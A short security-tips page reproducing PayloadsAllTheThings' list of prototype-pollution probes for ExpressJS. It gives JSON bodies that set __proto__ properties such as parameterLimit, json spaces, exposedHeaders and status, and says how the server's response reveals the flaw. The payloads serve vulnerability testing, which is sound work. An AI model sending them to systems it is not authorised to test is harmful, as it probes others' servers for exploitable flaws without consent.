Prototype Pollution: Manual Testing

Prototype pollutionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

  • ExpressJS: { "__proto__":{"parameterLimit":1}} + 2 parameters in GET request, at least 1 must be reflected in the response.

  • ExpressJS: { "__proto__":{"ignoreQueryPrefix":true}} + ??foo=bar

  • ExpressJS: { "__proto__":{"allowDots":true}} + ?foo.bar=baz

  • Change the padding of a JSON response: { "__proto__":{"json spaces":" "}} + {"foo":"bar"}, the server should return {"foo": "bar"}

  • Modify CORS header responses: { "__proto__":{"exposedHeaders":["foo"]}}, the server should return the header Access-Control-Expose-Headers.

  • Change the status code: { "__proto__":{"status":510}}

Comments

No comments yet.